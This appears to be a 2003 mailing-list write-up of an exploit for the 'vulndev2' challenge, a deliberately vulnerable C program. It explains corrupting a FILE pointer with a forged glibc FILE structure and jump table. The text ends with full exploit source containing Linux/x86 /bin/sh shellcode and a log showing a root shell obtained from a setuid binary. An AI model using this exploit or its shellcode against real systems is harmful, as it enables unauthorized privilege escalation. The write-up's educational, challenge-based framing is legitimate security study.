Details on Exploiting the vulndev2 Challenge ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ On the vuln-dev mailing list there was a posting that posed a challenge to exploit a certain code fragment. There were a number of ways to exploit this code. Here is a copy of the code: /* vulndev2.c */ #include #include #define BFSIZE 90 int main(int argc, char *argv[]) { char *bfp; char buf[BFSIZE]; FILE *f1; if (argc != 3) return 1; if ( (bfp = malloc(BFSIZE)) == NULL) return 1; /* log input */ if ( (f1 = fopen("db.log", "a+")) == NULL) return 1; fprintf(f1, ";;%s;;", argv[2]); fclose(f1); strcpy(buf, argv[1]); /* read log */ if ( (f1 = fopen("db.log", "r")) == NULL) return 1; if (fgets(bfp, BFSIZE, f1) == NULL) return 1; printf("%s\n", bfp); fclose(f1); exit(0); } There are essentially 2 straightforward ways to exploit this code: Both of which are more complicated than simply overflowing the ret pointer. (see below for why we can't do this). The most obvious way is to overwrite printf's GOT tables, but the way I did it was by overwriting the FILE * and pointing it to our own specially crafted FILE structure somewhere in memory. From there, when glibc tries to fclose() f1, it uses the function pointer _IO_file_jumps in the FILE structure to jump to a jump table (which we've also placed in memory), which jumps to our shell code. The exploit code is attached to the end of this message. A step by step explanation of the exploit: > /* log input */ > if ( (f1 = fopen("db.log", "a+")) == NULL) > return 1; > fprintf(f1, ";;%s;;", argv[2]); > fclose(f1); We put the memory location of where our specially crafted FILE struct will be into the log file from arg2. > strcpy(buf, argv[1]); This call does most of the work. 4 things of note are put into memory because of it: * A new value for bfp pointing 2 bytes before the f1 variable. * A specially crafted FILE struct * A jump table * Our shellcode > /* read log */ > if ( (f1 = fopen("db.log", "r")) == NULL) > return 1; > if (fgets(bfp, BFSIZE, f1) == NULL) > return 1; Here the program reads in data from the log file. When fgets() writes the data to bfp, it actually overwrites the f1 variable because we changed where f1 is pointing in the previous step. (We point bfp to 2 bytes before f1 because the logfile entry will start with 2 semicolons) > fclose(f1); The system tries to fclose() f1 which is now pointing to our FILE struct. It follows the _IO_file_jumps, selects one of our entries in our jump table and jumps to it. Remember all of our entries in our jump table point to our shellcode. Some notes: * We could also have pointed bfp to the actual location in memory of where the FILE struct for fp was closing and overwrote that, just leaving f1 pointing to where it originally pointed. Both would have worked. * At first glance I thought this exploit was going to be trivial. I thought we could simply smash the stack on the strcpy() call and overwrite main's ret. However, this function only returns in a few instances: not in the default case. Usually it exits using exit() which, of course, ignores any ret calls. A race condition might exist to exploit this however. Consider this: The application opens up the log file for writing and writes its stuff. The application strcpy()s your arg1 into buf. You overwrite main()'s return code to point at some shellcode. Now, if you're extrememly quick, make the file non-readable in some way (deleting it, changing perms, etc): fopen() will return NULL, and main() will return. 0wn3d: > if ( (f1 = fopen("db.log", "r")) == NULL) > return 1; It would probably be easiest to exploit this on a lagged system accessing its filesystems over a high latency means like, say, NFS. * A number of people also suggested a symlink attack. Conclusion: This challenge was good in that it maked us realize just how many ways there are to exploit buggy code. A good rule of thumb is this: If a program allows an attacker access to write to an arbitrary location in memory, the code is almost certainly exploitable. In this sample of code even if the program didn't call printf() or fclose() after the overflow, it still might be possible to exploit this program by putting shellcode in the DTORS. Note: This article is a slightly updated and expanded copy of a message I posted to vuln-dev a while ago. Shouts: madness for forwarding me the vuln-dev message theclone, rt, magma syke GOBBLES for reminding us how painfully necessary coherency is... Fractal The exploit: /* vulndev2.c exploit - (C) 2003 Doug Hoyte and Hypervivid Solutions, Inc www.hypervivid.com www.hcsw.org fractal@efnet doug@saturn:~/devel/vulndev$ uname -mnrsp Linux saturn 2.4.19 i686 unknown doug@saturn:~/devel/vulndev$ gcc -Wall -g -o vulndev2sploit vulndev2sploit.c doug@saturn:~/devel/vulndev$ gcc -Wall -g -o vulndev2 vulndev2.c doug@saturn:~/devel/vulndev$ su Password: root@saturn:/home/doug/devel/vulndev# chown root vulndev2 root@saturn:/home/doug/devel/vulndev# chgrp root vulndev2 root@saturn:/home/doug/devel/vulndev# chmod a+rxs vulndev2 root@saturn:/home/doug/devel/vulndev# exit doug@saturn:~/devel/vulndev$ ls -al vulndev2 -rwsr-sr-x 1 root root 18373 May 24 04:16 vulndev2 doug@saturn:~/devel/vulndev$ ./vulndev2sploit ./vulndev2 bffff86c [*] vulndev2.c sploit by Doug Hoyte: www.hypervivid.com [*] Using offset bffff86c [*] Removing old log file 'db.log' [*] Sploiting... ;;Ìøÿ¿;; sh-2.05a# whoami root sh-2.05a# exit doug@saturn:~/devel/vulndev$ */ #include #include #include /* my strtok's, well... don't ask */ int my_hatoi(char *tp) { int t=0; char tc; if (tp[0]=='0' && tp[1]=='x') tp+=2; while(isxdigit(tc = tolower(*tp))) { if (isdigit(tc)) t = (t<<4) + (tc - '0'); else t = (t<<4) + (tc - 'a' + 10); tp++; } return t; } int main (int argc, char *argv[]) { // shellcode for Linux/x86 by Aleph Null char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char sploit1[2000]; char sploit2[100]; int i, ADDR_OF_BUF, *tp; printf("\n[*] vulndev2.c sploit by Doug Hoyte: www.hypervivid.com\n\n"); if (argc != 3) { printf(" Usage: %s \n", argv[0]); printf(" Offset should be the location in memory of the 'buf' variable\n\n"); return 0; } ADDR_OF_BUF = my_hatoi(argv[2]); printf("[*] Using offset %x\n\n", ADDR_OF_BUF); /* Remove the old log file */ printf("[*] Removing old log file 'db.log'\n\n"); unlink("db.log"); // Everything to 'a's memset(sploit1, 'a', sizeof(sploit1)); // Set BFP to point 2 bytes before F1 (so those damn semi-colons don't get in the way) *((int*)(sploit1+92)) = ADDR_OF_BUF-4-2; // The magic number for FILE structs on glibc is 0xfBAD! Dig? tp = (int*) (sploit1+96); tp[0] = 0xFBAD0101; // The FILE struct BS, we don't really care: we just want the ... for(i=1;i<40;i++) tp[i] = (int) (ADDR_OF_BUF+96+(40*4)); // ... jump table for(i=40;i<48;i++) tp[i] = (int) (ADDR_OF_BUF+96+(40*4)+(8*4)); // Tag the shell code on at the end memcpy(sploit1+96+(40*4)+(8*4), shellcode, sizeof(shellcode)); // Use arg #2 to point F1 to our FILE struct memset(sploit2, '\0', sizeof(sploit2)); *((int*)sploit2) = ADDR_OF_BUF+96; // There's a bad moon on the rise... printf("[*] Sploiting...\n\n"); execl(argv[1], argv[1], sploit1, sploit2, NULL); return 0; }